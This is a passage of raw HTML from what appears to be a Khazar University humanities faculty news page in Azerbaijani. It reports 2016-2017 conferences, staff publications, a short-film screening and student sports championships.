(doktorant) konfransda iştirak etdilər. İrina Orucova&nbsp;<em>“Обучение стилистическому приему сравнение на уроках художественного перевода (на материале рассказов Э.Хемингуэя)”</em>, Elmira Əliyeva&nbsp;<em>“Дискурс и коммуникативная компетенция”</em>, Gülnaz Novruzzadə&nbsp;<em>“Azərbaycan və ingilis dillərində inkarlıq kateqoriyası”</em>, Milana Abbasova&nbsp;<em>“Sosial şəbəkələrin tələbələrin ingiliscəsinə təsiri”</em>, Validə Kərimova isə&nbsp;<em>“Analyzing the features of Publicist style. Political metaphor in the media”</em>&nbsp;adlı tezisləri ilə uğurlu məruzə etdilər.Konfransda əsas olaraq xarici dillərin öyrənilməsi, tədrisi və metodikasında yaranan problemlər müzakirə edildi, ingilis dilinin tədqiqində İKT-dən istifadə məsələləri, dil öyrənmə prosesində anlam konsepsiyası və bu kimi başqa məsələlər geniş müzakirə edildi. Konfransda, həmçinin, ADU-nun rektor vəzifəsini icra edən professor Əfqan Abdullayev, ADU-nun ümumi dilçilik kafedrasının professoru Fəxrəddin Veysəlli də öz məruzələri ilə çıxış etdilər.Sonda iştirakçılara sertifikat və&nbsp; məruzələrin çap edildiyi kitab verildi.</p>  <p><br></p><p style=\"color:#660066\"><strong><em>Fakültənin&nbsp;Avropa Birliyi və Azərbaycan münasibətlərinə həsr olunmuş Jan Monne konfransı</em></strong></p><ul></ul><p style=\"text-align:justify;color:#000000\">2017-ci il &nbsp;mayın 10-da Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər kafedrası və Avropa Birliyinin Azərbaycandakı nümayəndəliyinin birgə təşkilatçılığı ilə Avropa Günü ərəfəsində Avropa Birliyi və Azərbaycan münasibətlərinə həsr olunmuş Jan Monne konfransı keçirildi.Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı tədbir iştirakçılarını salamladı və universitetin beynəlxalq əməkdaşlığının önəmini vurğuladı.Avropa Birliyinin Azərbaycandakı nümayəndəliyinin birinci müşaviri Denis Daniilidis Prezident İlham Əliyevin 2017-ci ilin fevral ayındakı Brüssel səfərindən sonra Avropa Birliyi ilə Azərbaycanın ikitərəfli münasibətlərində irəliləyişin baş verdiyini və Yeni Hərtərəfli Saziş üzrə danışıqlar aparılacağını söylədi. O, məlumat verdi ki, danışıqlar üçün Azərbaycan hökuməti tərəfindən təqdim olunmuş ilkin sənədin layihəsi tərəflər arasında qarşılıqlı hörmət prinsiplərini əks etdirir. Denis Daniilidis Avropa Parlamenti və Milli Məclis arasındakı parlament əməkdaşlığının bərpa olunmasınını da nəzərə çatdırdı.Xarici İşlər Nazirliyinin Avropa Birliyi üzrə əməkdaşlıq şöbəsinin müdiri Orxan Zeynalov təhsil və elm sahələrində ikitərəfli əməkdaşlığın perspektivlərindən söhbət açdı. O, Cənub Qaz Dəhlizi üzrə irəliləyişləri vurğuladı. Saziş çərçivəsində sektorlar üzrə əməkdaşlıq üçün Əsas Vasitəçi vəzifəsinin icraçısı kimi Orxan Zeynalov məlumat verdi ki, ilk raundu 2017-ci il aprel ayının sonlarında Bakıda keçirilmiş danışıqlar konstruktiv xarakter daşımış və yeni sahələr üzrə əməkdaşlığın gücləndirilməsi üçün siyasi iradəni əks etdirmişdir.Təhsil Nazirliyinin Elm, ali və orta ixtisas təhsili şöbəsinin aparıcı məsləhətçisi Vüsalə Qurbanova Azərbaycanda ali təhsilin beynəlmiləlləşdirilməsi üçün Avropa Birliyi&nbsp;tərəfindən göstərilən dəstəyi &nbsp;yüksək qiymətləndirdi. Xəzər Universitetinin beynəlxalq əməkdaşlıq layihələrində xüsusi fəallığını qeyd etdi. İxtisaslar üzrə dövlət standartlarının yenidən işlənib hazırlanması istiqamətində yeni ekspertlərin cəlb olunmasının nəzərdə tutulduğunu bildirdi.Siyasi elm və beynəlxalq münasibətlər kafedrasının müdiri, Jan Monne Kürsüsü mükafatı laureatı, siyasi elmlər üzrə fəlsəfə doktoru Muxtar Hacızadə Avropa inteqrasiyasını əhatə edən fənlər və elmi işlər barədə iştirakçıları məlumatlandırdı. Qeyd olundu ki, Jan Monne Avropa Seminarlar Seriyası da daxil olmaqla öz sahələrində nüfuz qazanmış ekspert, alim, tədqiqatçı və professorlar tərəfindən Avropa Birliyi problemlərini Azərbaycan auditoriyası ilə müzakirə etmək üçün kafedra tərəfindən mütəmadi qaydada bir sıra tədbirlər silsiləsi təşkil olunur. Muxtar Hacızadə, Avropa Birliyi və Azərbaycan cəmiyyətləri arasında anlaşmanın təşviq olunmasının önəmini və bu istiqamətdə görülən işləri xüsusi vurğuladı. 2014-cü ildə qüvvəyə minmiş Azərbaycan Respublikası və Avropa Birliyi arasında vizaların rəsmiləşdirilməsinin sadələşdirilməsi haqqında sazişin vacibliliyini qeyd etdi. O, Avropa Birliyinin Azərbaycanda öz nüfuzunu və sülhpərvər niyyətlərini sistematik şəkildə artırmağın əhəmiyyətini diqqətə çatdırdı. Təəssüflə qeyd olundu ki, Avropa Birliyinin qonşuluğundakı bəzi ölkələrdən fərqli olaraq Azərbaycanda Avropa resurs və informasiya mərkəzləri yoxdur. Muxtar Hacızadə daha çox təmaslara və keyfiyyətli kommunikasiyalara ehtiyac olduğunu xatırlatdı.Konfransdan sonra politologiya, beynəlxalq münasibətlər və avropaşünaslıq ixtisasları üzrə təhsil alan tələbələrin iştirakı ilə Trans Adriatik Boru Xətti üzrə əməkdaşlığın gərgin müzakirə edildiyi “Avropa Birliyinin Nazirlər Şurasının simulyasiyası” təşkil olundu.&nbsp;</p>  <p><br></p><p><strong><em style=\"color:#660066\">Türkiyə mətbuatı Xəzər Universitetində keçirilmiş konfransdan yazdı</em></strong></p><h5><ul></ul></h5><p style=\"color:#000000;text-align:justify\">Xəbər verildiyi kimi, 2017-ci il aprelin 22-23-də Xəzər Universitetində Azərbaycan IV Beynəlxalq Psixologiya Konfransı keçirilmişdi. Aprelin 29-da İstanbuldakı BİA Haber Merkezinin (BİAQAM)&nbsp; internet səhifəsində konfransda iştirak etmiş jurnalist Ayla Türksoyun konfrans haqqında məqaləsi dərc olunmuşdur.Məqaləni bu link vasitəsilə oxumaq olar:&nbsp;<a href=\"http://m.bianet.org/biamag/bilim/185976-hazar-in-soraginda\">http://m.bianet.org/biamag/bilim/185976-hazar-in-soraginda</a></p></span><div style=\"font-weight:bold;font-style:italic\"><strong><em style=\"color:#660066\"><br></em></strong></div><p><em style=\"font-weight:bold;color:#660066\">“Addım” qısametrajlı filminin təqdimat mərasimi oldu. Fakültə tələbələrimizin uğuru</em></p><ul></ul><p style=\"text-align:justify\">2017-ci il aprelin 25-də Xəzər Universitetinin “Mərmər” zalında “Tormenta” Media Production-ın hazırladığı “Addım” qısametrajlı filminin təqdimat mərasimi keçirildi. Film intihar etməyin son addımlığından geri dönüşdən, həyatda tutunacaq yaxınlarının, gördüyün xeyirxah yaxşılıqların daim səninlə yanaşı addımlamasından bəhs edir. Filmin rejissoru Elçin İsmayıl və İmran Əsədovdur. Filmdə Humanitar və sosial elmlər fakültəsinin tərcümə ixtisası üzrə təhsil alan tələbələri Samir Quliyev və Dəyanət Dənyarov da rol almışlar. Təqdimat mərasiminin sonunda Xəzər Universitetinin İctimai əlaqələr və media şöbəsinin rəhbəri Əlövsət Əmirbəyli, universitetin fəlsəfə müəllimi Mail Yaqubov, ilahiyyatçı, din xadimi; “Mənəvi dünya” Milli-Mənəvi Dəyərlərin Təbliği İctimai Birliyini təsisçisi və sədriHacı Şahin Həsənli, Psixoloji Mərkəzin rəhbəri psixoloq Aytən Ələkbərova və digərləri film haqqında olan təəssürat və görüşlərini izləyicilər ilə paylaşdılar.</p><div style=\"text-align:justify\"><br></div><span style=\"color:#660066\"><p><em style=\"color:#660066\"><strong>Fakültəmizin&nbsp;Doktorantının növbəti məqaləsi çap olundu</strong></em></p></span><p style=\"text-align:justify\"><strong style=\"color:#660066;text-align:justify\"><em></em></strong><strong style=\"color:#660066;text-align:justify\"><em></em></strong><span style=\"text-align:justify\">Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “Diskursun tipoloji xüsusiyyətləri” (</span><em style=\"text-align:justify\">Typological characteristics of Discourse<em>”</em></em><span style=\"text-align:justify\">) (ingiliscə) adlı elmi məqaləsi Azərbaycan Respublikası Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Azərbaycan Dillər Universitetinin “Elmi xəbərlər” jurnalının 2-ci buraxılışında çap edilmişdir. Məqalə diskursun müxtəlif növlərinin (qəzet, siyasi, hüquqi, bədii, akademik və ya elmi və s.) praqmatik və koqnitiv perspektivləri nöqteyi-nəzərdən ifadəsini araşdırır. Araşdırma bunu göstərir ki, dəlili olan asılılığın səbəbi diskursun (qəzet, siyasi, hüquqi, bədii, akademik və ya elmi və s.) əsas xarakterik cəhəti hesab edilir.</span><em style=\"text-align:justify\"><strong style=\"color:#660066\"><br></strong></em><em style=\"text-align:justify\"><strong style=\"color:#660066\"><br></strong></em></p><p><em><strong style=\"color:#660066\">Azərbaycan IV Beynəlxalq Psixologiya Konfransı keçirildi</strong></em></p><ul></ul><p style=\"text-align:justify\">2017-cı il aprelin 22-si və 23-də Xəzər Universitetinin “Neftçilər” korpusunda universitetin Psixologiya departamentinin və Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə ənənəvi Azərbaycan IV Beynəlxalq Psixologiya Konfransı keçirildi. Konfransda respublikanın müxtəlif bölgələrindən olan mütəxəssislərlə yanaşı, sahəyə maraq göstərən şəxslər də iştirak edirdilər. Konfransa olan bu maraq nəzəriyyə ilə praktikanın bir arada olması ilə sıx bağlıdır.Aprelin 22-də konfransın rəsmi hissəsi və məruzələr dinlənildi. Aprelin 23-də isə iştirakçılar əvvəlcədən müəyyən olunmuş vorkşoplarda iştirak etdilər.Humanitar və sosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova konfransı açıq elan edərək, sözü Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya verdi. Sonra kürsüyə Omandan dəvət olunmuş Pr.Dr. Ali Kemal Tekin dəvət olundu. Konfrans zamanı yerli və Türkiyədən dəvət olunmuş psixoloqlar və psixiatrlar çıxış edərək, psixologiyanın müxtəlif sahələrini əhatə edən mövzular haqqında məlumat verdilər. Konfransda İstanbul Bilgi Universitetində akademik fəaliyyət göstərən Dos. Dr. Aytən Zara, Sultan Qaboos Universitetinin Məktəbəqədər Uşaqların Təhsili kafedrasının müdiri, UNESKO-nun müşaviri Pr.Dr. Ali Kemal Tekin, Hasan Kalyoncu Universitetinin prorektoru, Qara Dəniz Texnik Universitetində akademik fəaliyyət göstərən Pr.Dr. Yaşar Özbay və Antalya Fərdi Terapiya Tibb Mərkəzində psixiatriya üzrə ekspert Pr.Dr. Burhanettin Kaya iştirak edirdilər. Dos. Dr. Aytən Zara konfransa 6 nəfərdən ibarət “World Human Relief” komandası ilə qatılmışdı. Bu komandanın üzvləri Dilan Bozdağ, Seher Tarhan, Esra Zırhlıoğlu, Tuğçe Merve Aytac, Narlı Yıldız, Kader Tarhan çıxış edərək, konfransı daha da zənginləşdirdilər.Konfransda uşaqlarda aqressiv, antisosial, emsional və asılı davranış pozuntularının səbəbləri və aradan qaldırılması yolları, pozitiv ailə inkişafı və dayanıqlılıq, uşaqlara qarşı cinsi təcavüz və istimar, travma və onunla əlaqədar pozuntulara EMDR metodundan istifadə edilməsi haqqında müzakirələr aparıldı.Konfransın sonunda hər bir iştirakçıya sertifikat verildi.Konfrans iştirakçılarına Xəzər Universitetinin Musiqi və incəsənət departamentinin hazırladığı &nbsp;konsert proqramı təqdim olundu.</p><div><br></div><br><p><strong><em style=\"color:#660066\">HSE fakültəsi əməkdaşının məqaləsi Rusiyada nəşr edildi</em></strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify\">Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant)</span><em style=\"text-align:justify\">“</em><em style=\"text-align:justify\">Развитие иностранных языков как способ общественной дипломатии</em><em style=\"text-align:justify\">”&nbsp;</em><span style=\"text-align:justify\">adlı elmi məqaləsi Rusiyanın Tatarıstan vilayətinin Kazan şəhərində “</span><em style=\"text-align:justify\">Общество с ограниченной ответственностью Издательство</em><span style=\"text-align:justify\">”&nbsp;</span><span style=\"text-align:justify\">nəşriyyat evinin “</span><em style=\"text-align:justify\">Молодой ученый</em><span style=\"text-align:justify\">” adlı elmi jurnalın 14-cü sayında çap edilmişdir.Çap edilmiş elmi tədqiqat işində müasir dövrdə xarici dillərin ünsiyyəti vasitəsi olmasından, dil və ünsiyyətdən, həmçinin dilin ünsiyyət vasitəsi olmasına aid sullara verilmiş geniş cavablardan və müasir dövrdə xarici dillərin hansı məqsədlə istifadə edilməsindən əhatəli bəhs edilmişdir.&nbsp;</span></p><p style=\"text-align:justify\"><strong><em style=\"color:#660066\"><br></em></strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><strong><em style=\"color:#660066\">HSE fakültəsi əməkdaşının məqaləsi Amerikada nəşr edildi</em></strong></p><ul></ul><p style=\"text-align:justify\">2017-ci ilin martında Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “Dil etikası: Linqvo psixologiya və psixolinqvistika. Dilin psixoloji problemlərlə təhlili” (ingiliscə) (<em>“</em><em>Language Ethıcs: Linguo Psychology And Psycholınguıstics; Analysis of The Language With Psychological Problems</em>”)<em>&nbsp;</em>adlı məqaləsi Amerikanın “Science Publishing Group” nəşriyyat evinin “Psychology and Behavioral Sciences” adlı elmi jurnalında çap edilmişdir.Çap edilmiş elmi tədqiqat işinin əsas məqsədi psixolinqvistika məktəb və istiqamətləri haqqında qısa məlumat vermək, dilin yaranma mahiyyətini, fəaliyyət qanunauyğunluqlarını, prinsip və üsullarını üzə çıxarmaq, həmçinin insanların dili necə dərk etmələri və qavramaları və dili necə istehsal etmələri haqqında qısa və vacib məlumatları verməkdir. Məqalə psixologiya və linqvistika sahələrini əhatə edən əsas anlayışları təhlil edərək, birbaşa olaraq dil və nitq patalogiyasını, dil psixologiyasını, dilin öyrənilmə və davranışını və ya idrak elmini əhatə edir.</p><div><br></div><br><p><strong><em style=\"color:#660066\">Fakültə əməkdaşının məqaləsi çap&nbsp;edildi</em></strong></p><p style=\"text-align:justify\">Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “Ədəbi tənqiddə estetik nəzəriyyə (Ədəbi tənqiddə estetik meyarların təhlili)” (ingilis dilində) (<em style=\"box-sizing:border-box\">“Aesthetic Theory in Literary Criticism (Analysıs of Aesthetic Criterion in Lıterary Crıtıque)”</em><span style=\"box-sizing:border-box;font-weight:bold\">&nbsp;</span>adlı elmi məqaləsi Azərbaycan Respublikası Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Sumqayıt Dövlət Universitetinin “Elmi xəbərlər” jurnalının “Sosial və humanitar elmlər bölməsi”nin 1-ci buraxılışında çap edilmişdir.Məqalədə ədəbi tənqiddə estetik nəzəriyyə, ədəbi tənqiddə estetik meyarın təhlili araşdırılmış, bu mövzuda aparılmış tədqiqatlar və məhşur alimlərim fikir və görüşləri də məqalədə yer almışdır. &nbsp;</p><p><em style=\"color:#330033\"><strong style=\"color:#660066\"><br></strong></em></p><p><em style=\"color:#330033\"><strong style=\"color:#660066\">Tələbəmiz Avropa çempionu oldu</strong></em></p>\r\n<p><em style=\"color:#330033;text-align:justify\"><strong style=\"color:#660066\"></strong></em><em style=\"text-align:justify\"></em><span style=\"text-align:justify\">2017-ci il fevralın 17-24-də Polşanın Lutsk şəhərində sanda idman növü üzrə Avropa kuboku uğrunda yarışlar keçirilmişdir. Humanitar və sosial elmlər fakültəsinin üçüncü kurs tələbəsi Firudin Həsənov (tərcümə ixtisası) həmin yarışlarda iştirak edərək, öz çəki dərəcəsində (85 kq) turnirin qalibi olmuşdur. Qeyd edək ki, bu, Firudinin növbəti qələbəsidir. O, beş dəfə Azərbaycan çempionu olmuş, 2013-cü ildə Bolqarıstanın Sofiya şəhərində keçirilmiş beynəlxalq turnirdə Avropa çempionu, 2015-ci ildə Bakıda təşkil olunmuş yarışlarda Avrasiya çempionu titullarını qazanmış, 2016-cı ildə Ukraynanın Xarkov şəhərində keçirilmiş dünya çempionatında ikinci yeri tutmuşdur.On yeddi ölkə idmançılarının qatıldığı Lutsk turnirində Azərbaycanı Firudindən başqa daha doqquz idmançı təmsil etmişdir. Onlar da vətənə qələbə ilə qayıtmışlar: altı idmançımız öz çəki dərəcələrində Avropa kubokunu qazanmış, üç idmançımız ikinci yeri tutmuşdur.Qalibləri təbrik edirik.</span></p><br><div style=\"text-align:justify\"><br></div><p><em style=\"text-align:justify;color:#330033\"><strong style=\"color:#660066\">Fakültəmizin tələbələrindən ibarət&nbsp;“Panzer” komandası çempion oldu</strong></em></p><div style=\"text-align:justify\">2017-ci il fevralın 18-də Xəzər Universiteti Tələbə Məclisinin təşkil etdiyi universitetdaxili futbol çempionatının final qarşılaşması keçirildi. Çempionata noyabrın sonunda 10 komanda ilə start verilmiş, lakin sonradan 2 komanda oyunlara gəlmədiyi üçün kənarlaşdırılmışdı. 3 ay davam edən çempionatda 8 komanda mübarizə aparmışdır.&nbsp;Final qarşılaşmasında “Panzer” və “İnternational Stars” komandaları qarşı-qarşıya gəldi. Oyun “Panzer”in 4-1 qalibiyyəti ilə sona çatdı. 2016-2017-ci tədris ilinin çempionu “Panzer” komandası oldu.</div><div style=\"text-align:justify\"><strong><br></strong></div><div style=\"text-align:justify\"><strong><br></strong></div><div style=\"text-align:justify\"><strong>PAYIZ-2016</strong></div><div style=\"text-align:justify\"><em style=\"color:#330066\"><strong>“Əlillik və əlilliyə münasibət” adlı məqalə yarışmasının qalibləri elan olundu</strong></em></div><span style=\"color:#330066;text-align:justify\"><em><strong></strong></em><span style=\"color:#000000\">2016-ci il dekabrın 28-də Xəzər Universiteti Əlilliyi olan Tələbələr üçün Mərkəzi və &nbsp;Xəzər Psixoloji Xidmət Mərkəzinin birgə əməkdaşlığı ilə həyata keçirilən “Əlillik və əlilliyə münasibət” adlı məqalə yarışmasının yekun tədbiri həyata keçirildi. Tədbir zamanı Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzinin koordinatoru Rima Məmmədova çıxış edərək, “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) Tempus layihəsi və Əlilliyi olan Tələbələr üçün Mərkəz haqqında geniş məlumat verdi. Tədbirdə Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova əlillik, onun xüsusiyyətləri və onlara yanaşma tərzi barəsində danışdı. O, həmçinin Xəzər Psixoloji Xidmət Mərkəzinin fəaliyyəti haqqında məlumat verdi.Cari ilin oktyabrında elan edilmiş “Əlillik və əlilliyə münasibət” adlı məqalə yarışmasının göndərilmiş məqalələrdən 8 ən yaxşısı mükafata layiq görülmüşdür. İlk üçlük isə belə müəyyənləşdirilmişdir: Samir İmanov (I yer); Kəmalə Rəsulova (II yer); Elşən Dağlar (III yer).Tədbirin sonunda Samir İmanov məqalə yarışması haqqında öz fikirlərini söylədi və özünün “Hədəfdəki insan” adlı romanı haqqında da məlumat verdi. “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) Tempus layihəsində tərəfdaş olan Sumqayıt Dövlət Universiteti, Azərbaycan Dövlət İqtisad Universiteti və Azərbaycan Respublikası Əmək və Əhalinin Sosial Müdafiəsi Nazirliyinin Əmək və Sosial Problemləri üzrə Elmi-Tədqiqat və Tədris Mərkəzinin nümayəndələri, Xəzər Universitetinin akademik və inzibati işçiləri və digər qonaqlar iştirak etdilər.</span></span><div style=\"text-align:justify\"><span style=\"color:#330066\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/faculty_new.jpg\" rel=\"media21118774372900662\" width=\"150\" height=\"100\">\"&gt;<br><br></span><strong><em style=\"color:#330066\">Humanitar və sosial elmlər, Mühəndislik və tətbiqi elmlər fakültələrinin məzunları ilə görüş keçirildi</em></strong><div><span style=\"color: rgb(0, 0, 0);\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/faculty_new.jpg\" rel=\"media9330605974265642\" width=\"150\" height=\"100\"><br></span></div><div><strong><em style=\"color:#330066\"></em></strong><span style=\"color: rgb(0, 0, 0);\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/faculty_new.jpg\" rel=\"media9330605974265642\" width=\"150\" height=\"100\">2016-ci il dekabrın 22-də konfrans zalında (otaq 102N) Xəzər Universitetini 2016-cı ildə bitirmiş Humanitar və sosial elmlər fakültəsinin 14 və Mühəndislik və tətbiqi elmlər fakültəsinin 5 bakalavr məzunu ilə universitet rəhbərliyinin görüşü keçirildi. Görüşdə Xəzər Universitetinin rektoru Hassan Niknafs, universitetinin &nbsp;Tədris işləri üzrə prorektoru professor Məhəmməd Nuriyev, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov və Məzunlarla İş Mərkəzinin direktoru Baba Bayramlı iştirak edirdilər. Görüşün keçirilməsinin məqsədi universitetin məzunları ilə əlaqə saxlamaq və onların gələcək planlarını müzakirə etmək idi.Tədbirin sonunda məzunlar universitetlə bağlı fikirlərini və təəssüratlarını bildirdilər. </span><div style=\"text-align:left\"><strong><em><em style=\"color:#330066\"><strong><br></strong></em></em></strong></div><div style=\"text-align:left\"><strong><em><em style=\"color:#330066\"><strong><br></strong></em></em></strong></div><div style=\"text-align:left\"><strong><em><em style=\"color:#330066\"><strong>“Mükəmməlliyə doğru” adlı tədbir keçirildi</strong></em></em></strong></div><div style=\"text-align:left\"><strong><em><em style=\"color:#330066\"><strong><br></strong></em></em></strong></div><div style=\"text-align:left\"><span style=\"text-indent:0.25in\">2016-cı il dekabrın 14-də Xəzər Universiteti Xəzər Psixoloji Xidmət Mərkəzi tələbələrin istəyini nəzərə alaraq, “Mükəmməlliyə doğru” adlı tədbir keçirdi. Tədbirin məqsədi gənclərin sağlam həyat tərzinə maraq oyatmaq, düzgün qidalanmaq, pis vərdişlərdən uzaqlaşmaq, idmanın əhəmiyyətini anlatmaq, psixoloji sağlamlığı qorumaq və bunu nümunələrlə göstərmək idi.Əsas məruzəçi Türkiyənin Orta Doğu Texniki Universiteti qida mühəndisliyi məzunu Fövqi Əfəndiyev idi.Tədbir ərzində tələbələr ideal çəkiyə necə sahib olmalı, sağlam qida nədir, pis vərdişləri necə tərgitməli və s. məsələlərlə bağlı məlumat aldılar.</span></div><div style=\"text-align:left\"><br></div><div style=\"text-align:left\"><strong style=\"text-indent:0.25in\"><em style=\"color:#330066\"><strong><em><br></em></strong></em></strong></div><div style=\"text-align:left\"><strong><em></em></strong><strong style=\"text-indent:0.25in\"><em style=\"color:#330066\"><strong><em>Fakültən</em></strong>in tələbəsi dünya çempionatında gümüş medal qazandı</em></strong></div><div style=\"text-align:left\"><strong style=\"text-indent:0.25in\"><em style=\"color:#330066\"><br></em></strong></div><div style=\"text-align:justify\"><span style=\"text-align:center;text-indent:0.25in\">2016-cı il dekabrın 5-dən 7-dək Ukraynanın Xarkov şəhərində böyüklər arasında keçirilən kikboksinq üzrə dünya çempionatında Xəzər Universiteti Humanitar və sosial elmlər fakültəsində tərcümə ixtisası üzrə təhsil alan III il tələbəsi Firudin Həsənov 2-ci yeri tutmuş və gümüş medala layiq görülmüşdür.&nbsp;Xatırladaq ki, Həsənov Firudin müxtəlif beynəlxalq turnirlərin qalibidir. O, bundan əvvəl öz növündə 6 dəfə Azərbaycan çempionu olmuş, Avropa və Avrasiya yarışlarında qızıl medala layiq görülmüşdür.&nbsp; <br></span></div><div style=\"text-align:left\"><br></div><div style=\"text-align:left\"><strong style=\"text-align:center;text-indent:0.25in\"><em style=\"color:#330066\"><br></em></strong></div><div style=\"text-align:left\"><strong style=\"text-align:center;text-indent:0.25in\"><em style=\"color:#330066\">Fakültə əməkdaşlarının tədqiqat işi Türkiyədə beynəlxalq konfransa qəbul edildi</em></strong></div><div style=\"text-align:left\"><strong style=\"text-align:center;text-indent:0.25in\"><em style=\"color:#330066\"><br></em></strong></div><div>Humanitar və sosial elmlər fakültəsinin dekan müavini Mələk Kərimova və həmin fakültənin dekan köməkçisi Validə Kərimovanın tədqiqat işi 2016-cı il noyabrın 24-ü və 25-də Türkiyədə (Sakarya) keçirilən beynəlxalq konfransa (ICQH 2016) qəbul edilmişdir. Beləki, konfransda Amerika, Almaniya, Malaziya və.s ölkələrdən tədqiqatçılar öz apardıqları tədqiqat işləri və məqalələri ilə iştirak etmişlər. Mələk Kərimova <em>“</em><em><a>Azerbaycan öğretmenlerinin gözüyle: sınıf içi olumsuz davranışlar</a></em><em>”</em>, (“Misbehavior in classroom: Perspectives of the Azerbaijani teachers’.”) Validə Kərimova isə <em>“</em><a><em>Possibility of foreign languages in the education system of Azerbaijan: Analysis of the best foreign language among students’ in higher private educational institutions</em></a><em>”</em>, (“Azərbaycanın təhsil sistemində xarici dil imkanı: özəl ali təhsil müəssisələrində tələbələr arasında ən yaxşı xarici dilin təhlili”) adlı tədqiqat işləri ilə video prezentasiya ilə uğurlu çıxış etmişlər. Mələk Kərimovanın tədqiqat işi &nbsp;2015-2016 akademik tədris ilində Dünya məktəbində keçirdiyi təlimlər ərəfəsində aparılmışdır. Dünya məktəbinin 56 müəllimi ilə aparılan tədqiqatda müəllimlərimizin sinif daxili problemli davranışları necə qavrayıb &nbsp;qiymətləndirdikləri və necə başa çıxdıqları müəyyənləşdirilmişdir. Ayrıca bu problemlərə müəllimin dərsə münasibətinin, peşəsini sevib sevməməsinin, iş stajının təsiri olduğu da tədqiqat nəticələri arasındadır. Validə Kərimovanın&nbsp;tədqiqat işi isə 2015-2016 akademik tədris ili müddətində Xəzər və Qafqaz Universitetinin 301 &nbsp;tələbəsi arasında ən yaxşı xarici dilin təhlili mövzusunda aparılmış və iki Özəl Universitet tələbələri arasında ən yaxşı xarici dilin hansı olduğunu, xarici dili bilmə səviyyələrini müəyyənləşdirmişdir. Konfransın sonunda bütün iştirakçılar “iştirak sertifikatı” ilə təltif edilmişlər. Konfransda nümayiş etdirilən tədqiqat işləri “<em>The Online Journal of Quality in Higher Education</em>” jurnalında (proceeding books) çap edilmişdir (TOJQIH). Konfransda göstərilən video çıxışlar YouTube kanalına da yerləşdirilmişdir: <strong>Melek Karimova&nbsp;-&nbsp;</strong><a href=\"https://www.youtube.com/watch?v=HbMmE9_6bN4\">https://www.youtube.com/watch?v=HbMmE9_6bN4</a> <strong>Valida Karimova&nbsp;-&nbsp;</strong><a href=\"https://www.youtube.com/watch?v=7Je-1gq7bGw\">https://www.youtube.com/watch?v=7Je-1gq7bGw</a><strong></strong> <strong>&nbsp;</strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div><div><strong></strong><strong><em style=\"color:#330066\">Fakültə əməkdaşının kitabı Almaniyada nəşr olundu</em></strong>&nbsp;</div><div><br></div><div>2016-cı il oktyabrın 19-da Xəzər Universitetinin əməkdaşı və doktorantı Validə Kərimovanın “Metaphor in Political Discourse” (ISBN 978-3-659-97239-3) adlı ilk kitabı Almaniyanın Saarbrücken şəhərində – LAMBERT Akademik Nəşriyyat evindən gələn təkliflə çap edilmişdir (OmniScriptum GmbH &amp; Co. KG – <a href=\"http://www.lap-publishing.com\">www.lap-publishing.com</a>). Dünyanın 40-dan çox ölkəsində rəsmi yayımı və distributoru, həmçinin 150.000 yazarı olan LAMBERT Akademik Nəşriyyat Evi Xəzər Universitetinin saytında və jurnalında V.Kərimovabın çap etdiyi “The English Language for Global Communication: Perspective of Youth” (No. 348, March 2016, pp. 70\\ ISSN 2218-2772, <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a>) adlı məqaləsini bəyənmiş və onlarla birgə əməkdaşlıq təklif etmişdir. Kitab artıq Almaniyanın Frankfurt şəhərində kitab sərgisinə də daxil edilmişdir. Kitabda metaforanın liqvistik təbiətinin əsas anlayışları, siyasi diskurs siyasi dilçiliyin predmeti kimi, ingilis dilində metaforanın idrak baxımından araşdırılması, mediada metaforanın siyasi ifadəsi, metaforanın təkcə siyasi deyl həm də linqvistik xüsusiyyəti və təbiətindən, siyasi ifadənin xüsusiyyətlərindən və s. geniş bəhs edilmişdir.&nbsp;<a href=\"https://www.morebooks.de/store/ru/book/metaphor-in-political-discourse/isbn/978-3-659-97239-3\">https://www.morebooks.de/store/ru/book/metaphor-in-political-discourse/isbn/978-3-659-97239-3&nbsp;</a> <br>  <br></div><div><strong>YAZ-2016</strong></div><div><strong><em><br></em></strong></div><div><strong><em style=\"color:#330066\">Fakültə üzvləri Türkiyənin Samsun şəhərində Beynəlxalq Konfransda oldular</em></strong></div><div><strong><em style=\"color:#330066\"><br></em></strong></div>2016-cı il mayın 3-dən 9-dək Humanitar və sosial elmlər fakültəsinin dekan müavini Mələk Kərimova (doktorant) və baş laborant Validə Kərimova (doktorant) Samsun Şəhər Milli 